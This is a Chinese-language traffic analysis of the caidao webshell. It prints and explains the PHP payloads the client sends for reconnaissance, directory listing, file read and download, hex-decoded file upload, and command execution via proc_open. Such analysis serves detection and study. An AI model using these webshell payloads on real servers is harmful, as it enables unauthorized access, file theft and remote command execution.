caidao流量分析

请求包一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@ini_set("display_errors", "0");@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {@set_magic_quotes_runtime(0);
};
echo("X@Y");
$D = dirname(__FILE__);
$R = "{$D}\t";
if (substr($D, 0, 1) != "/") {
foreach(range("A", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
}
$R. = "\t";
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
$usr = ($u) ? $u['name'] : @get_current_user();
$R. = php_uname();
$R. = "({$usr})";
print $R;;
echo("X@Y");
die();

@ ini_set(“display_errors”, “0”)关闭PHP的错误显示
@set_time_limit(0) 设置程序的执行时间,应该是为了放在上传文件,执行命令回显超时等问题。
if (PHP_VERSION < ‘5.3.0’) {@set_magic_quotes_runtime(0);};版本大于5.3.0就关闭,当传输的POST或者get数据存在反斜杆(\)、单引号(’)、双引号(”)等特殊字符是就自动加上(斜杠)。
echo(“X@Y”);用于反caidao返回数据的中定位用的,如X@Y12345X@Y,那么caidao就读出内容为12345,
if (substr($D, 0, 1) != “/“) {
foreach(range(“A”, “Z”) as $L) if (is_dir(“{$L}:”)) $R. = “{$L}:”;
}
获取网站的绝对路径以及存在多少个盘.
$u = (function_exists(‘posix_getegid’)) ? @posix_getpwuid(@posix_geteuid())
获取当前进程的用户名,这个好像posix_geteuid()好像只有在linux下才有效
$usr = ($u) ? $u[‘name’] : @get_current_user();
获取执行脚本权限的用户名,比如www,system。
php_uname();返回了运行 PHP 的操作系统的描述

##请求包二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@ini_set("display_errors", "0");@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {@set_magic_quotes_runtime(0);
};
echo("X@Y");
$D = 'D:\\www\\security\\';
$F = @opendir($D);
if ($F == NULL) {
echo("ERROR:// Path Not Found Or No Permission!");
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D.'/'.$N;
$T = @date("Y-m-d H:i:s", @filemtime($P));@$E = substr(base_convert(@fileperms($P), 10, 8), -4);
$R = "\t".$T."\t".@filesize($P)."\t".$E."\n";
if (@is_dir($P)) $M. = $N."/".$R;
else $L. = $N.$R;
}
echo $M.$L;@closedir($F);
};
echo("X@Y");
die();

@date(“Y-m-d H:i:s”, @filemtime($P));
获取“D:\www\security\”下的文件时间
@$E = substr(base_convert(@fileperms($P), 10, 8), -4)
文件权限以八进制的形式进行返回 如0777,0666

读取文件

1
2
3
4
5
6
7
8
9
@ini_set("display_errors", "0");@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {@set_magic_quotes_runtime(0);
};
echo("X@Y");
$F = 'D:\\www\\security\\2008.php';
$P = @fopen($F, 'r');
echo(@fread($P, filesize($F)));@fclose($P);;
echo("X@Y");
die();

$P = @fopen($F, ‘r’);
echo(@fread($P, filesize($F)));@fclose($P);;
打开需要读取的文件,获取文件大小然后进行读取,读取完成后关闭打开的文件

文件下载

1
2
3
4
5
6
7
8
9
10
11
12
@ini_set("display_errors", "0");@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {@set_magic_quotes_runtime(0);
};
echo("X@Y");
$F = "D:\\www\\security\\2008.php";
$fp = @fopen($F, 'r');
if (@fgetc($fp)) {@fclose($fp);@readfile($F);
} else {
echo('ERROR:// Can Not Read');
};
echo("X@Y");
die();

使用fgetc()函数判断文件是不是空的,是空的话跳过,不是空则用@readfile()进行读取并且下载

文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@ini_set("display_errors", "0");@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {@set_magic_quotes_runtime(0);
};
echo("X@Y");
$f = 'D:\\www\\security\\php.php';
$c = $_POST["z1"];
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for ($i = 0; $i < strlen($c); $i += 2) $buf. = urldecode('%'.substr($c, $i, 2));
echo(@fwrite(fopen($f, 'w'), $buf) ? '1': '0');;
echo("X@Y");
die();
&z1=6161

for ($i = 0; $i < strlen($c); $i += 2) $buf. = urldecode(‘%’.substr($c, $i, 2));
echo(@fwrite(fopen($f, ‘w’), $buf) ? ‘1’: ‘0’);
&z1=6161的值为16进制编码,把文件上次内容进行16进制编码然后使用urldecode进行16进制的解码,然后写入文件.

虚拟终端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@ini_set("display_errors", "0");@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {@set_magic_quotes_runtime(0);
};
echo("X@Y");
$m = get_magic_quotes_gpc();
$p = 'cmd';
$s = 'cd /d D:\\www\\security\\&whoami&echo [S]&cd&echo [E]';
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"": "/c \"{$s}\"";
$r = "{$p} {$c}";
$array = array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w"));
$fp = proc_open($r." 2>&1", $array, $pipes);
$ret = stream_get_contents($pipes[1]);
proc_close($fp);
print $ret;;
echo("X@Y");
die();

dirname($_SERVER[“SCRIPT_FILENAME”]获取当前可执行脚本的路径部分,如echo dirname(“C:/testweb/home.php”); 返回C:/testweb/
$c = substr($d, 0, 1) == “/“ ? “-c "{$s}"“: “/c "{$s}"“;判断获取到的路径是不是/开头的如果是则执行 /bin/sh -c “whoami”如果不是则会执行cmd /c “whoami”
/bin/sh 一般为/bin/
/bin/sh 相当于 /bin/bash –posix
/bin/sh -c “参数”如何不加-c参数,则shell会进入一个交互式的shell
Cmd /c “参数”执行完指定命令后然后终止